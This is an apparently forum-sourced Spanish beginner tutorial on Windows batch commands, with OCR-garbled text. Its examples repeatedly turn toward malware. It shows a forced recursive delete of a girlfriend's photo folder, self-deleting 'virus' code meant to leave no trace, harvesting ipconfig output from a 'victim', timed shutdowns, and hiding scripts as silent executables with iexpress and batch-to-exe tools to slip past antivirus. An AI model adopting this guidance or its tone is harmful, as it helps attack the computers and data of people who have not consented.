Documentos de Académico
Documentos de Profesional
Documentos de Cultura
Para que no tengas que leer un montn de informacin sin sentido he puesto el ndice y as
de paso te vas directamente a la parte o "desde" la parte que necesitas aprender :)
He pintado en Amarillo pastel los prrafos que leers solo si no sabes NADA de
NADA
He puesto con letras rojas los prrafos que creo que son importante y QUE
DEBERIAS LEER. Si no voy a llorar ;(
He pintado de negro con letras verdes los cdigos prcticos de este tuto, en honor a los
precursores de la inseguridad informtica !!. :)
Presentacin
Agradecimientos
Nota del autor
Nivel bsico
(o sea que no conoces ni batch ni otro lenguaje)
Que es el batch (historia)
Practica 1- (hola mundo)
Usando por primera vez nuestro bat
Hola mundo explicado
Echo: usos distintos
Title
Pause
Help: Como usar y entender lo que nos dice
-Que es una variable?
-Variables de entorno
- *.* Comodines, que son y como se aplican
-Archivos por lote
-Comandos mas sencillos de help (lista)
-Attrib
-Color
-Exit
-Shutdown
-DEL / ERASE
-Pause
-(silenciando, editando el mensaje o redirigiendolo a un texto)
Nivel bsico medio (mas comandos help)
Ping como pause alternativo
CLS
EXTRA: Mi primer efecto matrix (haz el tuyo propio) :p
Set/p
Set/a
Goto
If-else (creando nuestro primer programa con clave)
If not
if errorlevel
if exist / if not exist
Presentacion
Agradecimientos
Mucha gente a quien agradecer... pero lo merece un tuto tan pequeo?, adems de que es
el primero en mi carrera que recin comienza :)
A Facu y Menrva por ayudarme en mis primeros pasitos en todo este mundillo, soy "nada"
en comparacion a ellos... por cierto, soy noob as que no me pidan tanto del tuto :)
Whiz, que por lo menos yo le consider el primer amigo o socio que hice en el foro.
Desarrollamos entre los dos un troyano que se preocupa de que el "cliente" nunca pierda
la conexion... bueno no? :), no sera un RAT pero considerando que en ese momento yo ni
siquiera sabia lo que eran el troyano se las arregla bastante bien. :), de todos modos el
hizo toda la parte mas difcil jaja ..
2Fac3R, [I]nfectedbug, que me han ayudado en dudas clave y lo siguen haciendo. Que por
cierto, y terminando este tuto estoy pensando en el segundo, mucho mas avanzado, con
mas tiempo y que por cierto de ah me lanzo a otros lenguajes... al fin jeje. (que peque ):
Cave destacar que si lees este tuto pasate por los que tiene 2Fac3R, gran parte de lo que
se lo aprend de el y de vez en cuando me ensea algo, te recomiendo leer varios y de
distintas personas, de esa manera crearas un conocimiento "global" de Batch, Yo tengo
como 5 versiones de varios y adems del material de foros, blogs, sitios, youtube y
preguntas yahoo. Todo sirve !! :)
Kid_goth, Null, mrobles que me dieron "bombas" de conocimiento en el sentido que tuve
que sentarme y curarme del mareo producido por la info que mi cabeza que no poda
procesar jejeje...
Por cierto, siempre estuve sentado jajaja. :D
PRACTICA X
si se puede llamar as
::------------------------ (esta barra puedes borrarla)
@echo off
title mi primer programa !
echo Hola mundo!
echo.
pause
::------------------------ (esta barra tambien puedes borrarla)
Pues como veras no era un programa particularmente largo pero considera que fue el
primero XD, ahora te enseare a usarlo y a crearlo vale? (si ya saves desavilitar la
ocultacion de extenciones pasa del parrafo 1 )
Si te preguntas que es el eco son esa letras de la imagen XD, el eco significa en batch
mostrar el resultado de todos los procesos
Si escrives "echo hola" apareceria "C:\Users\Juan>echo hola", y asi por cada
comando... no hay que ser muy astuto para saver que se vera muy feo :( ... solo por eso
escriviremos "@echo off" al principio y el eco quedara desactivado :)
echo : Este se escrive vacio, lo que hace es "preguntar" si el eco esta activado o no.
echo mi mensaje: Mostraria en pantalla el texto mi mensaje o el que tu escrivas.
echo. : Salta una linea para que no quede todo junto, se usa mucho para separar
parrafos.
No necesitas mas, si no entiendes bien ponlo en practica y veras, "los libros como el
pan y los tutos con mas afan" ... Eso te diria un hacker... :)
title
Este le da el titulo al programa, si miras la foto anterior veras que dice
"Administrador:Simbolo del sistema", ese es el titulo de la ventana y puedes cambiarlo
escriviendo title y a continuacion el nombre que quieras darle ;)
NOTA: Lo bueno de batch es que con la consola de Windows puedes provar la funcion de
un comando sin tantos tramites, intentalo, abre una consola de comandos y teclea "title mi
programa" y el nombre de la ventana cambiara, es como crear un programa en tiempo
real, muy parecido a python
pause:
Este sirve para aadir una pausa jajaja suena estupidamente obvio lo se :)...
Intenta borrar este comando de tu programa y aver si alcanzas a leer algo ja... Pues eso, la
pausa es para que puedas ver tu programa.
NOTA: el comando pause aade un mensaje por defecto a tu programa, luego te enseare
como cambiarlo o ocultarlo.
Y con eso terminamos el primer programa, editalo y hazlo a tu pinta a ver que
sale XD
Help
Como usar y entender lo que dice
Una de las cosas que tiene batch es que cuenta con una base de informacion
proporcionada por el mismo Windows a la que puedes consultar de manera que aprendas
mejor las cosas:
Preciona la tecla "Windows" y la "r" al mismo tiempo, escrive CMD y te saldra la "pantalla
negra", entonces escrive help y veras una lista de comandos muy mal explicados, si
quieres saber mas de alguno, por ejemplo escrives "DEL/?" y aperecera:
DEL [ /P ] [ /F ] [ /S ] [ /Q ] [ /A[ [ : ]atributos ] ] nombres
ERASE [ /P ] [ /F ] [ /S ] [ /Q ] [ /A[ [ : ]atributos ] ] nombres
Pues significa que: al comando DEL le puedes dar /p, /f, /s, /q, /A como parmetros que
activan una caracterstica especial de DEL y se leen de forma separada por Windows, por
eso estn entre parntesis separados. Cambien tenemos el parmetro /A que tiene
parntesis dentro de si, esto significa que lo que escribas despus de /A se leera como un
parmetro dentro de /A, el cual a su vez es un parmetro del mismo DEL, esta estructura
es semejante a un rbol... mmm mejor "te hago un dibujito"
Apuesto que ahora ya entendiste !! Ehh!! pues as quien no verdad?. Ahora notas porque el
parmetro /A tenia tantos parntesis, era porque esta subdividido en mas sub parmetros.
En ocasiones preguntando a help te saldr algo como:
VEFIRY [ ON : OFF ]
Que significa que para verify puedes escoger entre "on o off", (solo uno de las dos), a
diferencia de "DEL" que puede uzar todos al mismo tiempo.
COMODINES:
Para que sirven?
Se escriben con el smbolo * y veras... supongamos que vas a eliminar todas las fotos del
pc de tu novia con un malware, pero que pasa si no sabes el nombre de cada foto?, pues
como Windows exige que sepas el nombre tendras un gran problema. La forma de
solucionar esto es escribiendo por ejemplo:
del /f /s / q C:\Users\Mia\Desktop\nuestrasfotos\*.bmp que traducido al espaol significa:
ve a la carpeta C:\Users\Mia\Desktop\nuestrasfotos\ y borra todos los archivos que
terminen en .bmp (o sea fotos) y donde dice mia es tu novia, por lo que podemos decir que
"tu novia es mia" jeje.
Comando /?
este teda ayuda acerca de algo, como por ejemplo DEL/? Que abre la ayuda del comando
DEL.
ATTRIB
Este comando da o quita atributos a algn archivo de tu pc, sus funciones son:
R
A
S
H
Solo lectura.
De almacenamiento.
Archivos del sistema.
Archivo oculto.
+ Activa un atributo.
- Desactiva un atributo.
/S Aadiendo esto, el proceso seleccionado no solo se aplicara en la carpeta que elijas,
sino tambien en todas las sub carpetas que hallan dentro.
/D
Color
Cambia el color de la pantalla y/o de las letras dentro de una gama, para saber mas abre
una consola y escribe color/?, te aparceran todas las opciones :p
PRACTICA X
::------------------------@echo off
title mi segundo programa
echo hola compaloco
echo a continuacin las letras cambiaran de color !!
echo.
Pause
color 0a
echo ves? No me creas XD
echo ahora las letras son verdes !!
pause
::--------------------------
Exit
No tiene mayor detalle... Se usa regularmente con comandos mas avanzados como el for,
if, goto y esas cosas, por ahora no lo necesitaras. (es para salir, obviamente "un hola
mundo" no lo necesita)
Shutdown
Este si es pedazo de comando !!, puede servirte para cualquier programa que intentes
hacer que tenga la opcin de apagar el pc hasta el mejor virus. (y muy fcil por cierto)
bueno primero te explico las opciones mas usadas y luego su sintaxis vale?:
DEL / ERASE
No necesitas ser muy astuto, ya que cualquiera de los dos en ingles significa "borrar",
enseguida una resea de sus funciones (si quieres mas detalles puedes consultar "help" en
la consola de comandos o tambin por Internet).
/p: Pide confirmacin antes de eliminar... yo que tu no lo usara en un malware
/f: Elimina de modo "forzado" cualquier archivo (siempre y cuando no este en uso)
/s: Ejecuta DEL tambin en las carpetas que hallan dentro del directorio seleccionado.
/q: Modo silencioso.
/a: selecciona los archivos que se borraran basndose en los atributos que tengan, (yo le
explique antes), sin embargo yo nunca lo uzo a menos que sea necesario.
NOTA: Una forma muy interesante y frecuente para DEL es al final de un cdigo virulento
en que luego de ejecutar su funcin termina por eliminarse a si mismo, de esta forma no
se dejan huellas. Puedes pensar en ello, quiz cuantas veces has sido infectado y no lo has
visto...
Pause
Este comando ya lo vimos, pero te enseare los detalles que me faltaron vale?.
Supongamos que el mensaje "Presione una tecla para continuar" ya te tiene mas que
harto (sobre todo cuando haces cdigos largos) y no quieres que pregunte a cada rato,
entonces tienes dos opciones:
Pause > nul: que enva el mensaje de pause a una salida nula. Si antes del pause pones
un echo con algn mensaje estars editando el mensaje de pause... eso si quieres.
Pause > resultado.txt: que enva el mensaje de pause a un archivo en la misma carpeta
llamado "resultado.txt".
PING
Este comando se usa mucho para hacer una pausa temporal, o sea que despus de uno o
dos segundos el programa siga su curso, es como hacer un pause pero que no necesita
que presiones nada, su sintaxis es:
"ping localhost" (hay otra forma pero esta es mas simple )
tambin puedes usarlo para hacer ping a sitios de Internet y saber su ip, dems esta decir
que con el tiempo este simple comando sera una herramienta poderosa en el hackeo de
sitios, sin comentar que tambin puedes hacer otras cosas, como un programa que se
active cada vez que la vctima se conecta a Internet, haciendo un ping a google (por
ejemplo) y si la coneccin se ejecuta de forma normal (no hay ningn error) que el
programa ejecute una funcin para desconectar Internet o apagar el equipo Muajajajaja
Practica x
::------------------------@echo off
colo 07
title modificando
echo Hola mundo!
echo.
Pause > null
echo hola compaloco
echo a continuacion las letras cambiaran de color !!
pause
echo uzaremos el comando ping "localhost"
Ping localhost
color 0a
echo.
echo ves? No me creias XD
echo ahora las letras son verdes !!
pause > nul
echo ahora estamos haciendo ping pero de forma oculta
ping localhost > nul
echo.
echo buala !! no salio nada ..
pause
echo.
echo ahora estamos haciendo un ping al foro hacker donde soy miembro y mandaremos
echo el resultado a un texto que llamaremos "miarchivo.txt"
ping www.hackxcrack.es >> miarchivo.txt
echo.
echo listo! Revisa la carpeta donde esta tu batch
echo tendras un texto con el resultado llamado miarchivo.txt
echo nos vemos !!
pause >> null
::-------------------------... A propsito, a puesto que aburre aveces ver tanta letra suelta en un batch, pues amigo
mio para eso tambin hay solucin!! ...
CLS
Este comando es muy simple de usar, lo que hace es borrar la pantalla para seguir con el
programa de manera que se vea todo mas limpio, a eso lo llamamos "refrescar la pantalla"
...mm bueno yo lo llamo as y que ? :d. Solo debes escribirlo donde quieres refrescar la
pantalla y ya, el efecto sera algo como esto:
Practica 3-
::-----------------------@echo off
color 07
title mi primer programa
echo Hola mundo!
echo.
pause
cls
title mi segundo programa
echo hola compaloco acavas de hacen un CLS
echo a continuacion las letras cambiaran de color !!
echo.
Pause
cls
color 0a
echo ves? No me creias XD
echo ahora las letras son verdes !!
pause
cls
title tercera vez
echo a proposito ya has cambiado dos veces de titulo
echo a puesto que no te habias percatado ! XD
echo.
pause
::--------------------------
Extra
La razn de porque di tanta explicacin en el programa es para que no te pierdas vale?,
aqu te dejo otra forma de usar el ping tambin en pausa, pero en un programa mas bonito
y que aparenta mejo logro:
Mi Primer efecto matrix
By alsenheim
::-------------------------------------------------@echo
title
color
title
cls
echo.
echo.
echo.
echo.
echo.
echo
echo
off
Efecto Matrix
0A
Matrix
#
#
##################
echo
#
#
echo
#
Matrix
#
echo
#
By
#
echo
# Halsenheim #
echo
#
#
echo
##################
echo
#
XD
#
echo.
echo.
echo.
echo.
echo.
echo.
pause
cls
echo.
echo Para INICIAR:
_Pulsa cualquier tecla
echo Para TERMINAR: _Preciona tecla "Ctrl + C"
pause>>null
cls
:matrix
echo o 1 f s 1 0 c o z p i o x 1 m w r j v 1 b 1 k 0 y
ping -n 1 localhost > nul
echo 1 0 s i 0 d 1 m f v 0 g h p z j 0 1 0 x y w t c l
ping -n 1 localhost > nul
echo 1 1 d m 1 a h y 1 g s 1 0 j 1 f 0 r k 0 z i 1 p w
ping -n 1 localhost > nul
echo 1 m y d 1 g b 1 w s 0 t l h j 1 0 1 a 0 k f r 1 0
ping -n 1 localhost > nul
echo g 0 1 y 1 0 a 1 m 0 c 0 w d 1 j l r k b 0 1 1 f 0
ping -n 1 localhost > nul
echo 1 s 1 g b 1 y 0 l 1 x d 1 f 1 0 z 1 0 c j m 1 r h
ping -n 1 localhost > nul
echo 1 a 1 d g 1 j h 1 y 0 c 1 l x 1 f t 1 0 s q 1 v o
ping -n 1 localhost > nul
echo a 0 c 1 t 0 1 f 0 g w 1 y i 0 s v q 1 x d 1 O r l
ping -n 1 localhost > nul
echo 1 0 1 0 1 d w b 1 f 1 q v 1 r 1 s y g 1 k t p a 1
ping -n 1 localhost > nul
echo 1 0 s 0 1 a v b 1 x 0 r q 1 u h p 1 O j 1 w 1 y d
ping -n 1 localhost > nul
echo 0 b 0 c x 1 q 0 j p v o r 0 h 1 k m 0 l i 1 0 z s
ping -n 1 localhost > nul
echo 0 1 s c q 1 j 1 0 m 1 w 0 f d x t 1 0 z h 0 1 b v
ping -n 1 localhost > nul
goto:matrix
::-------------------------------------------
O t d 1 h g a 0 q 1 l a 1 0 1
k 0 1 0 1 b 1 q 1 1 a 1 e 0 f
l 0 v 1 x t b 0 q 1 O c 1 0 p
c 0 p i 0 v 1 0 x q O 1 w 1 s
z c h s x 0 t q 0 p i o v 0 1
w 1 k 0 v t q i p O 0 1 a 1 0
z i 0 m 1 1 W k r 0 p 0 b 0 1
j 1 p k 0 h 1 z 0 b 0 1 m 1 z
0 c x l i j 1 0 h m 0 z 1 0 k
c 1 f m 1 z k t 1 l g 1 1 0 0
1 y 1 1 d w 1 f 1 t a g t 0 1
p 1 r 0 l y 1 i 0 k 1 g a r h
... Ya sabes, solo cpialo a un block de notas y cmbiale el nombre por "tunombre.bat"...
Este programa (si se le puede llamar as) es viejisimo y cada quien lo hace de una manera
diferente, con el tiempo inventaras la tuya ! :p
SET
Nivel basico
Este comando es un poco extenso pero solo nos concentraremos en lo mas bsico.
set/p: Lo que este comando hace es permitir una entrada de texto como por ejemplo
cuando un programa nos pregunta el nombre o cuando queremos establecer una clave en
el programa (suponiendo que es un malware, la idea es que no lo ejecuten sin permiso).
Su sintaxis:
set/p variable="mensaje: " donde mensaje es el que nosotros le demos, por ejemplo
"ingrese la clave"y variable ya te lo haba dicho, es la palabra que tu quieras. (por eso es
variable)
Bueno sin mas lata te doy un ejemplo y de paso pongo el primer caso (nombre)
Practica x
::-----------------------@echo off
title ejemplo de set/P
set/p variable="Hola como te llamas: "
echo que bueno yo tambien me llamo %variable% !!
echo.
pause
::------------------------
::-----------------------::
::Este programa es un clon que pregunta tu nombre y despus asegura que se llama igual
que tu,
:: si lo vuelves a ejecutar y le das otro 7nombre seguir
:: asegurando que se llama igual, intntalo ;)
Set / a : Lo que hace es aadir funciones matemticas, como suma, resta, multiplicacin y
divisin
Practica x
::-----------------------@echo off
title tu primera calculadora
echo esta es tu primera calculadora (de numeros enteros)
pause
cls
set/p numero1="Ingrese el primer numero: "
set/p numero2="Ingrese otro numero menor que el primero: "
cls
set/a suma=%numero1% + %numero2%
echo el resultado de la suma entre %numero1% y %numero2% es %suma%
set/a resta=%numero1% - %numero2%
echo.
echo el resultado de la resta entre %numero1% y %numero2% es %resta%
set/a multiplicacion=%numero1% * %numero2%
echo.
echo el resultado de la multiplicacion entre %numero1% y %numero2% es %multiplicacion
%
set/a divicion=%numero1% / %numero2%
echo.
echo el resultado de la divicion de %numero2% en %numero1% es %divicion%
echo.
pause
::-----------------------... Otro ejemplo:
set/a variable1= %numero1% + %numero2%
donde variable1 es la palabra que le queramos dar (para identificar)
Y luego si quieres que aparezca el resultado en la pantalla escribes "echo %variable1%" ,
donde variable1 es la palabra que le hallas dado (como suma)
Todo claro !! :D
GOTO
Y como ya viste si estas haciendo la practicas es que goto te redirige hasta una etiqueta
previamente estipulada, en este caso es la palabra "otra", puede ser la que tu elijas, pero
para que sirve esto?
Pues combinada con el comando que viene lo veras :D
IF-else
If es una condicin que otorga una accin determinada dependiendo del valor que reciba,
si la respuesta no es la indicada "else" ejecuta otro comando, traducido al espaol es: "Si
ocurre esto haz aquello - de lo contrario haz esto otro".Veamoslo con este ejemplo, nuestro
primer programa para hacer una clave:
PRACTICA X
::-------------------------@echo off
title pasword
:no
cls
set/p pass="ingresa la clave corecta: "
if %pass%==miclave (goto:ok
) else (
echo te equivocaste !!
pause
goto:no)
:ok
echo que bueno pasaste !!
echo sabias que la mayoria de los programas usan estas funciones?
echo felicidades, te acercas a las ligas mayores !
pause
::-------------------------
... La clave, por cierto es "miclave" si todo junto, si quieres cambiar la clave solo ve a la
linea donde dice "if %pass%==miclave" y cambia "miclave" por lo que quieras, desde
entonces esa sera la clave !! :D
Y no te preocupes, que tener clave para tus programas si sirve, y MUCHO !!, solo imagina
que creas un programa y lo lanzas al mercado, pues si te fijas todos los de pago tienen una
clave que se basa en el mismo concepto, aunque la forma vara segn el lenguaje. Adems
si creas un malware no querrs que algn curioso te lo ejecute y aniquile el pc jejeje ...
If not
Este es un comando que acta parecido a un "else", solo se limita a un solo caso en
especifico, en espaol es como decir "si no pasa esto en concreto has aquello". De todas
formas en muchos escenarios un If not puede ser mucho mejor que un if-else.
if error level
Cada comando devuelve una respuesta de error (1) en caso de que tuvo algn error, o en
su defecto (0) si se ejecuto si problemas, lo que hace error level es mostrar es escuchar
ese resultado de operacin.
If error level en este caso establece una condicin que se ejecutara dependiendo de la
respuesta de erorlevel, como este comando es medio complejo te dar un ejemplo:
Practica
::-------------------------
@echo off
echo Esta es la informacion original de malala 1 > C:\Windows\System\malala.txt
echo ------------------------------------->> C:\Windows\System\malala.txt
echo Y esta es la informacion que sobre escrito desde malala 2 > C:\malala2.txt
pause
::------------------------Y bueno, con este programa creamos 2 textos, esto lo hago para que puedas entender lo
que mas adelante pasara, si no pudiesen crearse los dos textos errorlevel marcara 1, pero
no es el caso, vamos al siguiente bat
::-------------------------@echo off
copy C:\mulala2.txt C:\Windows\System\malala.txt
if errorlevel 1 (echo Algo anda mal aqui...
) else (echo al fin pudiste !!)
pause
::-------------------------Pues habiendo creado ya los dos, ejecuta el primer bat, te creara dos textos con distinto
contenido, uno en C:\ y otro en C:\Windows\System\, revisa las carpetas y los veras...
Pues ahora que ya revisaste, inicia el segundo programa para que aprendas a usar el
errorlevel...
Si todo sale mal (que es lo que queremos), errorlevel se activara, el caso que lo hiciera
tenamos una conducta para tal caso, que era decir "algo anda mal". Pues esto lo hice
intencionadamente para que vieras los dos casos... ahora, ve a la linea donde dice "copy
mulala2" y y en su lugar pon "malala2" que es el archivo que si extiste, ya que malala no
existe en C:\ sino que esta en otro lado... dale cambia el nombre.
Pues bien !! ahora si, ves que no era tan dificil?. Ahora ve a C:\Windows\System\ y abre el
archivo malala.txt , veras que el contenido de malala2 se ha copiado. Por fin !!
If exist / If not exist
Esta es otr a variante de if que te dice si existe o no un archivo, ejecutando un codigo
segun la respuesta, su antonimo es If not exist que actua de cierta forma si un archivo no
existe.
>> y >
Redireccionando texto
No aparece como lista de comandos Windows, de hecho no estoy seguro de si es un
comando siquiera, pero la utilidad que le daras e incomparable.
Sin dar mucho detalle:
> Crea un archivo de texto donde se escrive la respuesta de un comando, no solo pause
ni ping, sino muchos otros. Como
echo este es el contenido > texto.txt
donde crearia un texto en la carpeta actual llamado texto.txt y si lo abres veras que tiene
escrito "este es el contenido" sin comillas por supuesto.
>> Este aade informacion a un archivo de texto, de manera que no pierdes el contenido
anterior del mismo.Imagina lo siguiente:
echo este es el contenido > texto.txt
ipconfig/all >> ipvictima.txt
Realizara el mismo fin anterior, solo que luego aade informacion ejecutando el comando
ipconfig/all e imprime el resultado a texto.txt... No te dare ninguna idea pero un bat con
esta funcion puede servir de muchisimo con una victima.
NOTA: tambien puede imprimir usando este comando, imagiina todo lo que
puedes hacer :)
PRACTICA x
::------------------------------------------------------@echo off
echo -------------------------------------------------echo Directorio actual:
echo.
Cd >> info.txt
Comandos varios
RECOVER
Y pues... imagina que el infectado eres tu, que harias?, pues si tienes que formatear tu pc
(y perder todos tu datos) una vez instalado Windows este comando te ayudara recuperar
gran parte de tus archivos, un ejemplo de sintaxis seria:
recover C:\Users\mia\Desktop*.*
Donde *.* significa que recuperara todos los archivos con todas las extenciones posibles,
tambien te sirve si vuelves con tu novia y quieres recuperar las fotos juntos que le
borraste cuando se pelearon y "te dio la india"... asi se hace Lammerazzo !! jaja ;)
Date / Time
Date muestra o editar la fecha de windows, time sirve para lo mismo pero con la hora. Si
eres un programador empedernido puedes hacer un programa X y regalar una version
demo que en cierta fecha caduque, ahora si quieres hacer maldades podria decirle a tu
programa que cierto dia / hora desate un codigo, dejando al usuario perplejo y sin que
pueda sospechar siquiera que tu fuiste el responsable. En otras palabras si saves uzar este
comando puedes "programar tareas"
PRACTICA X
::------------------------------@echo off
:no
time /t
if %time% in 21:30 (shutdown -r -f -t 0
) else (goto:no)
::------------------------------::------------------------------::
:: para los expertos: solo es un ejemplo, podria hacerse mucho mejor :)
:: para ti: este bat pregunta la hora y si son las 21:30 hrs el pc se reinicia, de lo contrario
vuelve a
:: preguntar hasta que sea la hora corriendo sin sesar... no te preocupes, casi no gasta
recursos XD
VER
Sirve para ver la version de windows, puede servirte para que tu programa sea compatible
con todas las versiones de Windows desde 9x (o mas antiguas) hasta Windows 8, ya que
hay cambios de nombres en los comandos que podria inutilizar tu programa, por ejemplo:
If %ver% ==windows 9x (goto:codigowin9x) else (goto:codigowin7)
Esta sintaxis es solo un ejemplo y no se aplica a la practica ya que no mostraria la misma
respuesta en un caso real, solo es para que tengas una idea.
Start
Como su nombre lo dice, crea o activa una nueva tarea, el cdigo batch viene a ser como
un nio que despierta a sus hermanos mayores (otros lenguajes), los que hacen tareas que
el no puede. De esta forma batch se complementa con otros lenguajes hacindose
completo y por cierto mas estable (ya vimos que los antivirus "raramente" ven como virus
a batch) pero no dudan en acusar a otro lenguaje, debe se porque batch es parte de
Windows ;)
Dir / Tree
Lo que dir hace es mostrar una lista de los archivos en una ruta especificada (ejemplo dir
C:\) mientras tanto Tree hace lo mismo, solo que en lugar de mostrar una lista crea una
especie de rbol con todas las carpetas y sub carpetas, es como un "modo grfico" de dir.
CD
Lo que este comando que muestra la carpeta actual o te redirige a un lugar en especifico,
por ejemplo:
cd C:\Users\Jorge\Desktop te enviara al escritorio del usuario jorge, es muy util para
explorar el pc y para manejarte con el.
MD / MKDIR
Este comando sirve para crear un directorio, consulta detalles en el "help" de Windows
RD / RMDIR
Sirve para borrar un directorio, tiene como opcin /s que borra un rbol completo desde la
ruta que se ingresa con todos los archivos, la opcin /Q que sirve para hacerlo en modo
silencioso.
Move
Mueve archivos desde una ruta hasta otra, aadiendo /Y suprime la solicitud de
confirmacin. Si en su lugar colocas /-Y entonces pide la confirmacin, o sea usas una de
las dos. :)
Copy
Copia... quieres que te explique?
Xcopy
Esta copia un directorio completo a una ruta en especifico, tiene muchas opciones como
para entretenerse aprendiendo...
1- Usando Iexpress
Primero que nada presiona la tecla Windows y r al mismo y en el cuadro ejecutar escribe
"iexpress".
Ahora, utilizaremos esto para hacer tu primer programa, sin embargo iexpress sirve para
mucho mas :) , te dejare la misin de potenciar su uso y de paso lee un tuto de "Bindear
archivos" hecho por "Kr34tor" en el foro hackxcrack, no te dar un mega tuto de iexpress
ya que yo conoc esta herramienta por el y no es justo que le robase el crdito :( , solo te
mostrare "este" uso, luego tu descubres el resto :).
Y bue... una ves iniciado veras esta ventana, de aqu en adelante te dir solo lo justo vale?.
(Teniendo ya creado tu bat), presione siguiente, luego deja la opcin "Extract files and run
and inst...", luego te pedir que ingreses un nombre (que en realidad no sirve pah' n),
luego selecciona "no prompt", luego "do not display a license", luego el boton "add" y
aade tu cdigo bat, siguiente, te preguntara "cual programa iniciara" primero, siguiente y
"default", luego te da la opcin de poner o no un mensaje de despedida que se ejecutara
despus de nuestro exe, yo pondr "este fue el primero", luego en "browse", selecciona la
carpeta donde guardaras tu exe y ah si debes ponerle el nombre a tu exe, yo le llame
"virusillofake.exe", siguiente y seleccionas segn tu caso, yo puse "no restart", siguiente,
"dont save" para el SED, siguiente y siguiente... una vez creado presiona "finalizar" y era
!! ... como se dice en mi pas jeje !!.
No es necesario mayores explicaciones. Con esto no solo puedes hacer un programa
inofensivo sino hasta el mas peligroso virus y ni hablar que iexpress te da la opcion de
hacer que se ejecute "oculto"
... Presionando aceptar y enter a todo ya tenemos listo un exe "nivel bsico", ya despus
tu puedes ir complicandolo un poco :)
dems esta decir que puedes cambiar el icono de tus programas cuando quieras..
3.- Usando batch to exe compiler.
Es un programa no muy conocido que digamos (por la masa) aunque entre los hackers (o
noobs) es una herramienta frecuente :)
La diferencia de este programa a los anteriores es que esta pensado para el batch, puedes
crear y editar cdigo usando el editor del programa, una ves terminaste puedes aadirle
un icono y te da la opcin de ocultar el programa en su ejecucin, as como de aadirle
programas que se ejecuten luego de este... en fin es la suma de todo. Sin embargo no te
quedes solo con esto, descubre cada da nuevas formas de compilar, ocultar y encriptar
tus batch.
Parametros
%0, %1, etc...
opciones ocultas en nuestros programas
Este si que es bueno !!, si te has fijado en la consola aparecen un montn de programas,
los cuales tienen funciones de acuerdo a los parmetros que ingresas, completamente
diferente a la peticin de una palabra (como en set/P) estos no piden nada, pero si
responden a determinado parmetro previamente ingresado en el cdigo.
Con este comando puedes crear tus propias funciones similar a las que hay en help, si
conoces linux tambin estars en conocimiento de esto... mira mejor un ejemplo para que
te enchufes bien vale?.
Practica x
::-------------------------@echo off
if ["%1"]==["c"] (
echo Por lo visto aprendiste !!
) else (echo No lo has conseguido bilolo
echo intenta ejecutando e ingresando el parametro por cmd.)
pause
::-------------------------Pues la verdad es que a mi me costo mucho aprenderlo, pero con el ejemplo ya veras...
Primero:
copialo dentro de la carpeta "system32" ejecutalo y luego te explico, te espero...
Si te dice "No lo has conseguido bilolo":
abre una cmd (ventanita negra), escribe bilolo, presiona espacio y escribe el parmetro, en
este caso si leste el cdigo veras que es "c".
Si te dice "Por lo visto prendiste!!":
Entonces ya te puedo presentar a "tu primer parmetro", as como windows tiene una lista
de parmetros en help, tu ahora has creado el primero. En este caso no hace nada mas
que dar un mensaje, pero si lo agrandas puede hacer muchas cosas, mas adelante te
enseare un uso prctico y muy divertido por cierto, de un programilla que hice XD
EN RESUMEN: y si no lo has entendido, agregarle parmetros a un bat es como ponerle
un set/p, con la diferencia que set/p esta hecho para que te pregunte algo, pero los
parmetros no te preguntan nada, es como una "funcin oculta" de cada programa (que
por cierto la mayora tiene) y puesto que ni lo sospechabas muajaja !!
Por cierto, el %0 hace referencia al programa mismo, el %1 a una funcin que quieras
darle, y as puedes seguir hasta un mximo de %1000 funciones... no sera mucho lucho ??
Los Bugs
Conocemos como bugs a los posibles errores que un
programa pueda tener, siempre que creamos un programa
nos quedan :( , por es existen las versiones en cada
programa (1.0 o 2.5 etc..)
Como consejo, trata de escribir siempre las sintaxis
completas y fijndote siempre en los espacios o en el mas
mnimo detalle, un carcter mal escrito puede echar por la
borda tus intentos de algo y dejarte con una frustracin de
no entender que es lo que pasa, en tales casos lo
recomendable es descansar o dejar tu programa de lado por
un un buen rato o por un da, a veces el sobre esfuerzo hace
que un bug empeore en lugar de mejorar.
Proyectos de interes
Aclarar que si bien es cierto, gran parte de estos cdigos son fciles de hacer y no hay
"autor" por as decir de ellos, he trado hasta aqu y de manera que sirvan como ejemplo
para tus propios proyectos un pequea recopilacin de utilidades en batch, algunas de
dominio publico y otras que llevan el nombre de alguien.
OJO: Lo nico que te pido es que muestres un poco de respeto y si copias un cdigo que
pertenezca o tenga el nombre de alguien no hagas tal de cambiarlo por el tuyo, si bien es
cierto un nombre dentro del cdigo no implica derechos legales de autor, imagina lo penka
que seria que tu crearas algo y un da entres al sitio de "superhacker" y veas que tenga su
nombre en tus cdigos... A quien quieres impresionar?. En cuanto a los "programadores",
me tomo la libertad de documentar, espero que no les moleste ya que no he hecho
ninguna variacin a los cdigos recogidos.
Una vez quedando todo claro paso a exponer !! :)
DE AQUI EN ADELANT ME OLVIDO DE LA ORTOGRAFIA... DEJENME DESCANZAR :(
@ECHO OFF
SETLOCAL ENABLEEXTENSIONS
CALL :CECHO 0A "normal " "Los cometas del latin cometa y el griego kometes son cuerpos
celestes constituidos por hielo y rocas que orbitan el Sol siguiendo orbitas muy elipticas" "
normal"
CALL :CECHO 0A "normal " "Texto coloreado" " normal"
CALL :CECHO 0A "normal " "Texto coloreado" " normal"
CALL :CECHO 0B "normal " "Texto coloreado"
CALL :CECHO 0C "Texto coloreado"
CALL :CECHO 0D "Texto coloreado"
CALL :CECHO 0E "Texto coloreado"
CALL :CECHO 0F "Texto coloreado"
CALL :CECHO CF "Texto coloreado"
CALL :CECHO AF "Texto coloreado"
CALL :CECHO F0 "Texto coloreado"
CALL :CECHO EE "amarillo sobre amarillo"
PAUSE
EXIT /B 0
:CECHO
::Autor: Carlos
::Version 1.0 22:42 07-05-2009
::Se pueden recibir tres argumentos de texto.
::Cada argumento debe ir encerrado entre comillas.
::Si se recibe un solo argumento este es el texto coloreado.
::Si se recibe dos argumentos o tres argumentos,
::el segundo argumento es el texto coloreado.
::Si el texto coloreado tiene mas de 150 caracteres,
::el texto coloreado es truncado a 150 caracteres y
::se recibe un mensaje avisando la accion.
::Basado en el trabajo de: Frank P. Westlake
::disponible en:
:: http://groups.google.co.uk/group/alt.msdos.batch.nt
:: /browse_thread/thread/f819acd4582d5de3/8c81192068307388
SETLOCAL ENABLEEXTENSIONS ENABLEDELAYEDEXPANSION
PUSHD "%USERPROFILE%\"
IF EXIST COLOR DEL /F /Q /A COLOR > NUL 2>&1
IF EXIST COLOR\ RD /S /Q COLOR > NUL 2>&1
MD COLOR
CD COLOR
SET
SET
SET
SET
"C="
"L1="
"L2="
"L3="
SET "C=%~1"
